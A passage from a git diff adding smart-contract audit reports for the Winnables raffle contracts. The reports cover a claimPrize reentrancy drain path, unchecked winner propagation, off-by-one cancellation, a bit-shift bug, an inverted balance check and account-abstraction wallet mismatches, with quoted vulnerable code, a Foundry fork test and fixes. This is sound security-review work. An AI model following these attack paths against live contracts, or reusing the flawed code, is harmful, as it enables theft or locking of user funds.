raffle is incorrectly marked as completed on the TicketManager. +2. Funds are locked in the `WinnablesPrizeManager` +3. Potential financial loss for the legitimate winner who can't claim their prize. + +### PoC + +1.Initial Setup: +-WinnablesTicketManager contract is deployed on Chain A (e.g., Avalanche). +-WinnablesPrizeManager contract is deployed on Chain B (e.g., Ethereum). +-Both contracts are properly set up and linked. + + +2.Create and Run a Raffle: + +-Create Raffle A. +-Users purchase tickets for Raffle A, totaling 10 ETH. +-The _lockedETH in TicketManager is now 10 ETH. + + +3.Raffle Conclusion: + +-The raffle end time is reached. +-An authorized user calls the drawWinner function for Raffle A. +- Chainlink VRF provides a random number, and the winner is determined, the raffle status is set to FULFILLED. + + +4.Incorrect Winner Propagation: + +An actor (could be anyone, as there's no access control on propagateRaffleWinner) calls the function with incorrect parameters: +```solidity` +ticketManager.propagateRaffleWinner( + maliciousOrIncorrectAddress, // Instead of the correct PrizeManager address, adress for a malicious contract that is maybe able to receive CCIP message + incorrectChainSelector , // A chain selector for the malicious prizeManager + raffleAId +)``` + + + +5.TicketManager State Changes: + +-The propagateRaffleWinner function doesn't verify the prizeManager address or chainSelector. +-It updates the raffle status from FULFILLED to PROPAGATED. +-It decreases _lockedETH by 10 ETH (the totalRaised for Raffle A). +-A CCIP message is sent with the incorrect parameters. + + +7-Failed Cross-Chain Communication: + +The CCIP message fails to reach the correct PrizeManager due to the incorrect address or chain selector. +The correct PrizeManager on Chain B never receives the winner information. + + +8-Final State: + +-On TicketManager (Chain A): + +Raffle A status: PROPAGATED +_lockedETH: Decreased by 10 ETH +Winner information: Known locally but not propagated correctly + + +-On PrizeManager (Chain B): + +No update received +Prize still locked and unclaimed + + + + +Attempt to Rectify: + +An admin or the legitimate winner notices the prize hasn't been made claimable on Chain B. +They attempt to call propagateRaffleWinner again with the correct parameters. +The function reverts because the raffle status is already PROPAGATED, not FULFILLED. +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + }``` + +Consequences: + +The legitimate winner cannot claim their prize on Chain B. +The prize is stuck in the PrizeManager contract. +The _lockedETH on TicketManager has been decreased, potentially allowing premature withdrawal of funds. +There's no built-in mechanism to revert the raffle to its previous state or retry the propagation. +### Mitigation + +Implement parameter validation: +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + require(_validPrizeManagers[chainSelector][prizeManager], "Invalid PrizeManager or chainSelector"); + // ... rest of the function +} +``` \ No newline at end of file diff --git a/001/311.md b/001/311.md new file mode 100644 index 0000000..c031e17 --- /dev/null +++ b/001/311.md @@ -0,0 +1,54 @@ +Able Chiffon Oyster + +High + +# Reentrancy attack possible in claimPrize() WinnablesPrizeManager contract + +## Summary +The WinnablesPrizeManager contract manages raffles where prizes can be nfts, ERC20 tokens or ETH it also handles locking and distributing these prizes to winners. The contract includes functions for locking prizes and handling raffles across different chains using Chainlink CCIP. One important feature of this contract is the claimPrize function this function is public and its main goal is to send the prize for a Raffle to its rightful winner. + +As you can see in the code snippet below this function check the type of the raffle and then send the prize to the winner if its NFT,token or ETH later on it checks whether the caller is rightful winner and mark the raffle as claimed.The first thing we note is that this function does not follow the CEI pattern since it checks for the winner after the prize is sent which will lead to a reentrancy attack if the raffle type is ETH. + +## Vulnerability Detail +Since we call the internal function _sendETHPrize which send the prize to the msg.sender when the raffle type is ETH, later on we mark this raffle as claimed note that this function isnt using any reentrancy guard so if the winner is a smart contract he can use this claimPrize function to drain all ETH locked in the contract. + +This is a classic reentrancy attack because the function does not follow the CEI pattern which means we modify the state (rafflePrize.status) after the call is made(_sendETHPrize). + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + + +## Impact +A rightful winner can drain the WinnablesPrizeManager contract from all the ETH that is locked due to reentrancy in claimPrize() function. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118-L122 + + +## Tool used + +Manual Review + +## Recommendation +Follow the CEI pattern and/or use [ReentrancyGuard by Openzeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol). \ No newline at end of file diff --git a/001/312.md b/001/312.md new file mode 100644 index 0000000..8b18f7a --- /dev/null +++ b/001/312.md @@ -0,0 +1,70 @@ +Breezy Amethyst Penguin + +Medium + +# Because `WinnablesTicketManager._checkShouldCancel` function does not revert when raffle's total number of sold tickets equals its `minTicketsThreshold` after its purchase period is ended, such raffle can be canceled though it should not be cancellable, and such raffle's potential winner becomes unable to win + +### Summary + +Calling the `WinnablesTicketManager._checkShouldCancel` function does not revert when the raffle's total number of sold tickets equals its `minTicketsThreshold` after its purchase period is ended, which causes such raffle to be canceled though it should not be allowed to be canceled and such raffle's potential winner to not be able to win. + +### Root Cause + +The `WinnablesTicketManager._checkShouldCancel` function executes `if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached()` but the `supply > raffle.minTicketsThreshold` check has a code mistake that ignores the case where the raffle should not be cancelable when its total number of sold tickets represented by its `supply` equals its `minTicketsThreshold`. + +### Internal pre-conditions + +1. A raffle's total number of sold tickets equals its `minTicketsThreshold` after its purchase period is ended. + +### External pre-conditions + +Not applicable + +### Attack Path + +1. Because such raffle's total number of sold tickets equals its `minTicketsThreshold`, its `minTicketsThreshold` is reached, and it should not be cancellable. However, anyone can still call the `WinnablesTicketManager.cancelRaffle` function for canceling such raffle. +2. When the `WinnablesTicketManager.cancelRaffle` function calls the `WinnablesTicketManager._checkShouldCancel` function, `supply > raffle.minTicketsThreshold` would be false since such raffle's `supply` equals its `minTicketsThreshold` so such function call would not revert with the `TargetTicketsReached` error. +3. Since the `WinnablesTicketManager.cancelRaffle` function call does not revert though it should, such raffle is canceled even though it should not be allowed to be canceled. + +### Impact + +Although raffles whose total numbers of sold tickets equal their `minTicketsThreshold` should not be allowed to be canceled, such raffles can still be canceled. The participants of such raffles who suppose to be the winners are forced to fail to win. + +### PoC + +When a raffle's total number of sold tickets equals its `minTicketsThreshold`, such raffle should not be cancellable. Yet, because the `WinnablesTicketManager.cancelRaffle` function does not use any access control, anyone can call this function, which further calls the `WinnablesTicketManager._checkShouldCancel` function, for canceling such raffle. Since the `WinnablesTicketManager._checkShouldCancel` function executes `if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached()`, calling such function does not revert when such raffle's total number of sold tickets represented by its `supply` equals its `minTicketsThreshold`. In this case, such `WinnablesTicketManager.cancelRaffle` function call does not revert, and such raffle is canceled even though it should not be allowed to be canceled. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +```solidity +@> function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +@> if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +### Mitigation + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 can be updated to the following code. + +```solidity + if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +``` \ No newline at end of file diff --git a/001/313.md b/001/313.md new file mode 100644 index 0000000..a06dbc8 --- /dev/null +++ b/001/313.md @@ -0,0 +1,71 @@ +Ripe Brunette Loris + +High + +# Incorrect bit-shift on an uint64, leading to invalid CCIP counterpart contract packing + +## Summary + +The expression `uint256(chainSelector << 160)` incorrectly results in 0 because the left shift operation is applied to a uint64 value (chainSelector). A uint64 cannot accommodate a shift of 160 bits due to its limited bit-width. Consequently, the value is effectively zero when cast to uint256, instead of correctly positioning the chainSelector value in the intended bit range. + +## Vulnerability Detail + +In the `_setCCIPCounterpart` function, the `bytes32 counterpart` is calculated using the `_packCCIPContract` function, which is intended to combine a contract address and a chain selector into a single `bytes32` value. However, due to the incorrect bit-shifting operation, the chain selector component is always set to 0, rendering the packed counterpart value incorrect. + +```solidity +function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { +@> bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; + } +``` + +The `_packCCIPContract` function contains the faulty shift operation: + +```solidity + function _packCCIPContract( + address contractAddress, + uint64 chainSelector + ) internal pure returns (bytes32) { + return + bytes32( + uint256(uint160(contractAddress)) | +@> uint256(chainSelector << 160) + ); + } +``` + +## Impact + +As a result, all approved CCIP counterpart contracts become ineffective, as the `chainSelector` is incorrectly packed as 0. This makes it impossible to properly identify and interact with the intended remote contracts. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L40-L45 + +## Tool used + +Manual Review + +## Recommendation + +To correctly perform the bit manipulation, ensure that the shift operation is conducted on a `uint256` value, which can accommodate the full range of the shift. The corrected code should cast `chainSelector` to `uint256` before the shift: + +```diff + function _packCCIPContract( + address contractAddress, + uint64 chainSelector + ) internal pure returns (bytes32) { + return + bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ uint256(chainSelector) << 160 + ); + } +``` + +This adjustment ensures that the `chainSelector` is correctly positioned in the resulting `bytes32` value, allowing the contract to properly track and interact with the intended CCIP counterparts. \ No newline at end of file diff --git a/001/314.md b/001/314.md new file mode 100644 index 0000000..318fcf5 --- /dev/null +++ b/001/314.md @@ -0,0 +1,54 @@ +Damp Midnight Porpoise + +Medium + +# Incorrect Balance Check in withdrawTokens Function + +### Summary + +The withdrawTokens function in the WinnablesTicketManager contract contains a logic error in its balance check. This error prevents any token withdrawals and effectively locks all ERC20 tokens in the contract permanently. + +### Root Cause + +The vulnerability is located in the withdrawTokens function: + +`function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); +}` + +The issue lies in the balance check condition: +`if (amount < balance) revert InsufficientBalance();` + +This condition is incorrect. It reverts the transaction if the requested withdrawal amount is less than the contract's token balance. This is the opposite of the intended behavior, which should allow withdrawals up to the available balance. + + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +1. The admin user's call would always revert if they try to withdraw tokens. + +### Impact + +Token Locking: All ERC20 tokens sent to this contract become permanently locked. The function will always revert unless someone attempts to withdraw more tokens than the contract holds, which would then fail at the transfer stage. + +Functionality Loss: The intended administrative function to recover tokens is completely non-functional. + +Financial Loss: Any tokens accidentally sent to the contract or accumulated through legitimate means (e.g., fees) cannot be retrieved, leading to potential financial losses for the project or its users. + +### PoC + +Not Required. + +### Mitigation + +Invert the check used in the function. \ No newline at end of file diff --git a/001/317.md b/001/317.md new file mode 100644 index 0000000..ec3239c --- /dev/null +++ b/001/317.md @@ -0,0 +1,43 @@ +Hollow Watermelon Beaver + +High + +# Unclaimed ETH raffles can be stolen by Re-entrancy + +## Summary +`claimPrize` function can doesnot follow CEI pattern which leads to a reentracny attack . +## Vulnerability Detail +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + //...code + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + @> _sendETHPrize(_ethRaffles[raffleId], msg.sender); //@audit unsafe low level call + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + } +``` +`claimPrize function doesnot have a reentrancy guard and handles ETH txns. Also whether msg.sender is winner or not is checked after low level call . Which leads to this vulnerability : + +Suppose Alice won a ETH raffle and there are 5 more ETH raffle prizes to be claimed by other winners . +1. Alice calls `claimPrize` with an unclaimed `raffleID ` +2. logic Flow pulls the raffle and sends the prize to the caller . There is no checks for checkiing if caller is valid winner . +3. From ALice's attack contract's `receive() ` function , Alice succesfully reenters the `claimPrize` function as there is no reentrancy guard . And repeats from step 1 five times until all of the funds are drained . +4. At last alice calls with his winning raffleID and succesfully concludes the `claimPrize `function . 5 raffle prizes will be stolen . + + + ## Impact +All unclaimed ETH raffles can be stolen +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 +## Tool used + +Manual Review + +## Recommendation +Follow CEI pattern or implement a reentrancy guard ! \ No newline at end of file diff --git a/001/318.md b/001/318.md new file mode 100644 index 0000000..b7f57d8 --- /dev/null +++ b/001/318.md @@ -0,0 +1,309 @@ +Happy Champagne Huskie + +High + +# Account abstraction wallets will not be able to claim rewards + +### Summary + +While EOAs can have the same address across different networks due to the deterministic nature of the address derivation process, smart contract wallets will have different addresses on each network. In this case, the ticket manager is deployed on Avalanche, while the prize manager operates on Ethereum. For users interacting through a smart contract wallet, the address registered as the winner on Ethereum will differ from their actual address, preventing them from claiming their price. + +### Root Cause + +Account abstraction wallets, even when associated with the same user, generate different addresses depending on the network. Since the ticket manager on Avalanche propagates the winner's address to the prize manager on Ethereum, this will lead to a missmatch. As a result, the winner may be unable to claim their prize on Ethereum because their smart contract wallet address differs from the one registered on Avalanche. + +### Internal pre-conditions + +No specific internal preconditions are assumed. + +### External pre-conditions + +Users must purchase tickets using a smart contract wallet. + +### Attack Path + +1. User buys tickets using the smart wallet by calling `WinnablesTicketManager::buyTickets`: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210 +2. `msg.sender` is registered as the owner of the tickets in the ticket manager. +3. Once the raffle concludes and a winner is drawn, the winning ticket's associated address is propagated to the prize manager on Ethereum. +4. Winner claims the prize on Ethereum by calling `WinnablesPrizeManager::claimPrize`. The tx reverts as the user does not pass the following validation: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120 + +### Impact + +Loss of users rewards. + +### PoC + +The PoC is implemented using a forking test in Foundry for simplicity. Interactions involving the router and VRF coordinator are simplified and performed within the same test, without relying on off-chain components. To run the test, you'll need a Chainlink VRF subscription. The test is conducted on the Sepolia network. To execute it, load the RPC URL in a .env file and run: + + `forge test --mt testAccountAbstraction --fork-url $SEPOLIA_RPC_URL` + +
+ + See PoC + +```javascript +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import {Vm, Test} from "forge-std/Test.sol"; +import {console2} from "forge-std/console2.sol"; +import {WinnablesPrizeManager} from "../contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicket} from "../contracts/WinnablesTicket.sol"; +import {WinnablesTicketManager} from "../contracts/WinnablesTicketManager.sol"; +import "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol"; +import "contracts/interfaces/IWinnablesPrizeManager.sol"; +contract BaseTest is Test { + address linkToken; + address ccipRouter; + address vrfCoordinator; + uint64 subscriptionId = 7126; // your subscription ID + bytes32 keyHash; + WinnablesTicket tickets; + WinnablesTicketManager ticketManager; + WinnablesPrizeManager prizeManager; + address admin; // protocol admin + address signer; // signer: back-end API + uint256 signerPk; + address bobSCAVA; // Address of bob's SC account in Avalanche + address bobSCETH; // Address of bob's SC account in Ethereum + + function setUp() external { + (signer, signerPk) = makeAddrAndKey("signer"); + bobSCAVA = makeAddr("bobSCAVA"); + bobSCETH = makeAddr("bobSCETH"); + + // Sepolia Testnet configs + linkToken = 0x779877A7B0D9E8603169DdbD7836e478b4624789; + ccipRouter = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59; + vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + + // admin deploys contracts + vm.startPrank(admin); + prizeManager = new WinnablesPrizeManager(linkToken, ccipRouter); + tickets = new WinnablesTicket(); + ticketManager = new WinnablesTicketManager( + linkToken, + vrfCoordinator, + subscriptionId, + keyHash, + address(tickets), + ccipRouter + ); + vm.stopPrank(); + } + + //////////////////////////// + ///////// HELPERS ///////// + ////////////////////////// + + // Helper function to create arbitrary message, since this is a fork test, no offchain components are being used + // Specify in parameter data the parameters relevant for this test (e.g., addres of the winner) + function exampleMessage( + bytes memory data + ) public returns (Client.Any2EVMMessage memory) { + bytes32 messageId = 0x6f6c7e8b9e3d8b11b77fa05e7e6ed7839c23e0a1d1cf7c78d6b7512e7c8b51a1; // Example message ID + uint64 sourceChainSelector = 1; // Example source chain selector + bytes memory sender = abi.encode(address(this)); // Example sender address encoded + + // Example token amounts + Client.EVMTokenAmount[] + memory tokenAmounts = new Client.EVMTokenAmount[](1); + tokenAmounts[0] = Client.EVMTokenAmount({ + token: address(0), // Example token address + amount: 0 // Example amount + }); + + return + Client.Any2EVMMessage({ + messageId: messageId, + sourceChainSelector: sourceChainSelector, + sender: sender, + data: data, + destTokenAmounts: tokenAmounts + }); + } + + // Helper function simulating back-end server signed message used by Bob to buy tickets + function bobBuyTicket(uint256 raffleId, uint16 ticketCount) public { + bytes32 messageHash = keccak256( + abi.encodePacked( + bobSCAVA, + uint256(0), + raffleId, + ticketCount, + uint256(block.number), + uint(0) + ) + ); + + // Create the prefixed hash that can be verified with ecrecover + bytes32 ethSignedMessageHash = keccak256( + abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash) + ); + + // Sign the prefixed hash + (uint8 v, bytes32 r, bytes32 s) = vm.sign( + signerPk, + ethSignedMessageHash + ); + + // Combine r, s, and v into the signature + bytes memory signature = abi.encodePacked(r, s, v); + // Bob send tx signed by back-end server + vm.prank(bobSCAVA); + ticketManager.buyTickets( + raffleId, + ticketCount, + block.number, + signature + ); + } + + // Perform first steps until random number determining winner is picked. This is to avoid stack to deep error + function startRaffle() public { + // Fund contracts + deal(address(prizeManager), 10 ether); + deal(address(linkToken), address(prizeManager), 10 ether); + vm.prank(admin); + // lock price + prizeManager.lockETH( + address(ticketManager), + uint64(14767482510784806043), // Fuji chain selector (forking from Sepolia) + uint256(1), + 1 ether + ); + // Simulate router call to indicate ticket manager that price was locked for raffleId 1 + bytes memory data = abi.encode(uint8(1)); + Client.Any2EVMMessage memory message = exampleMessage(data); + vm.prank(admin); + ticketManager.setCCIPCounterpart(address(this), 1, true); + vm.prank(ccipRouter); + ticketManager.ccipReceive(message); + // Start the raffle in the ticket manager + vm.prank(admin); + uint256 raffleId = 1; + uint64 startsAt = uint64(block.timestamp); + uint64 endsAt = startsAt + 60; + uint32 minTickets = 1; + uint32 maxTickets = 3; + uint32 maxHoldings = 2; + ticketManager.createRaffle( + raffleId, + startsAt, + endsAt, + minTickets, + maxTickets, + maxHoldings + ); + // Prepare message that would be sent via back-end private key to buy tokens for Alice + vm.prank(admin); + ticketManager.setRole(signer, 1, true); //back-end API + vm.prank(admin); + tickets.setRole(address(ticketManager), 1, true); + uint16 ticketCount = 2; + // Buy two tickets for Bob + bobBuyTicket(raffleId, ticketCount); + // Raffle ends + vm.warp(block.timestamp + 61); + console2.log("Ticket Manager Address:", address(ticketManager)); // Add to consumer in Chainlink + vm.recordLogs(); + // Winner is selected for raffleId 1 + ticketManager.drawWinner(1); + Vm.Log[] memory entries = vm.getRecordedLogs(); + // This is the genereated requestId in the fork test + uint256 requestId = uint256(entries[1].topics[1]); + uint256[] memory randomWords = new uint256[](1); + // Simulate that random number is 2 + randomWords[0] = 2; + vm.prank(vrfCoordinator); + // Simulate call from coordinator with random number determining winner + ticketManager.rawFulfillRandomWords(requestId, randomWords); + } + + ////////////////////////// + ///////// TESTS ///////// + //////////////////////// + + function testAccountAbstraction() public { + startRaffle(); + uint256 raffleId = 1; + // Fund ticket manager to propagate winner to prize manager + deal(address(linkToken), address(ticketManager), 10 ether); + ticketManager.propagateRaffleWinner( + address(prizeManager), + uint64(14767482510784806043), + uint256(raffleId) + ); + address winner = ticketManager.getWinner(uint256(1)); + assertEq(winner, address(bobSCAVA)); + bytes memory messageWinner = abi.encodePacked( + uint8(IWinnablesPrizeManager.CCIPMessageType.WINNER_DRAWN), + uint256(1), + address(bobSCAVA) + ); + Client.Any2EVMMessage memory messageToSend = exampleMessage( + messageWinner + ); + vm.prank(admin); + prizeManager.setCCIPCounterpart(address(this), 1, true); + vm.prank(ccipRouter); + // Router tells prize manager address of the winner + prizeManager.ccipReceive(messageToSend); + vm.prank(bobSCETH); + // Bob from his account on Ethereum now tries to claim his prize but since the addresses are different in each + // network, he has lost the reward + vm.expectRevert(abi.encodeWithSignature("UnauthorizedToClaim()")); + prizeManager.claimPrize(raffleId); + } +} +``` +
+ + +### Mitigation + +Allow users to specifiy the address to which the prize should be assigned instead of using `msg.sender` in `WinnablesTicketManager::buyTickets`. For example: + +
+ + See mitigation proposal + +```javascript + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature, + address buyer + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature, buyer); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[buyer]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + + uint32(ticketCount); + unchecked { + raffle.participations[buyer] = bytes32( + (participation & (type(uint256).max << 160)) | + totalPaid | + (uint256(totalPurchased) << 128) + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[buyer]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(buyer, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +
+ +Adjust `_checkPurchaseSig` accordingly. \ No newline at end of file diff --git a/001/319.md b/001/319.md new file mode 100644 index 0000000..78203e8 --- /dev/null +++ b/001/319.md @@ -0,0 +1,92 @@ +Joyful Golden Cod + +High + +# Winners can't claim the prize, if using AA wallets or multisig wallets + +## Summary + +Protocol will be incompatible with some AA wallets or multisig wallets. By design, the project works like this: + +1. The raffle prize is locked on the Prize Manager contract, which will be deployed on Ethereum mainnet +2. Users participate by buying tickets and later on a random winner is chosen through Chainlink's VRF services, all this functionality happens on the Ticket Manager contract, which will be deployed on Avalanche network +3. Then the raffle winner data is sent to the Prize Manager utilizing Chainlink's CCIP +4. The winner can claim his reward from the Prize Manager on Mainnet + +Some users may use Account Abstraction wallets or multisig wallets to participate in the raffles. This is problematic, since different wallets will have different addresses on different chains. + +## Vulnerability Detail + +Let's follow how the winner is picked and then how the message is received: + +- When `WinnablesTicketManager::propagateRaffleWinner()` is called it selects the winner and then makes the cross-message delivery to the Prize Manager with the necessary information, where the reward becomes claimable for the winner: + +```javascript +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; +@> address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + !!!!!! +@> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +And here is how the message is received in the Prize Manager, what is of our concern is how the winner's data is handled: + +```javascript +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); +@> _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +As we notice from above, it populates the `_rafflePrize` mapping with the returned winner and raffle id data. So the returned address is the same as from Avalanche network. And since smart contract wallets are chain-specific because of the nonce, when a winner tries to withdraw from `WinnablesPrizeManager::claimPrize()`, the call will revert: + +```javascript +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + ... + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + ... + } +``` + +## Impact + +- High: as a user will not be able to claim his prize, this completely breaks one of the main invariants of the protocol + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L338-L340 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L472-L476 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L275-L276 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L120 + + +## Tool used + +Manual Review + +## Recommendation + +Allow only EOA's to participate or utilize the CREATE2 method to predict the addresses, by providing the same salt on the different chains. \ No newline at end of file diff --git a/001/320.md b/001/320.md new file mode 100644 index 0000000..0f8e9b0 --- /dev/null +++ b/001/320.md @@ -0,0 +1,52 @@ +Zesty Peanut Pony + +Medium + +# Inconsistency Between Documentation and Implementation in Raffle Finalization Conditions + +### Summary + +There is a critical discrepancy between the documented behavior and the actual implementation of the raffle finalization process. The documentation states that it becomes possible to draw a winner when "the time runs out and the minimum number of tickets was reached.The time runs out and the minimum number of tickets wasn’t reached: it becomes possible to cancel the raffle " However, the implemented logic allows for cancellation under conditions that should, according to the documentation, result in a winner being drawn instead. + +### Root Cause + +The root cause of this issue is a mismatch between the documented design intent and the actual smart contract implementation.https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L440 + Specifically, the conditions for canceling a raffle overlap with conditions that should allow for drawing a winner, leading to potential confusion and unexpected outcomes. + +### Internal pre-conditions + +A raffle has been created and is past its end time. +The number of tickets sold is equal to the minimum threshold. + +### External pre-conditions + +None specific; this issue is inherent to the contract's logic. + + +### Attack Path + +1. A raffle is created with a minimum ticket threshold and a maximum ticket supply. +2. The raffle end time passes, and the number of tickets sold is at the minimum threshold. +3. According to the documentation, this should result in a winner being drawn. +4. However, an actor (malicious or otherwise) can call the cancelRaffle function. +The cancellation succeeds, despite the conditions meeting those described for winner selection. + +### Impact + +Potential loss of trust from participants who expect a winner to be drawn. + + +### PoC + +_No response_ + +### Mitigation + +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (block.timestamp <= raffle.endsAt) revert RaffleIsStillOpen(); + uint256 supply = 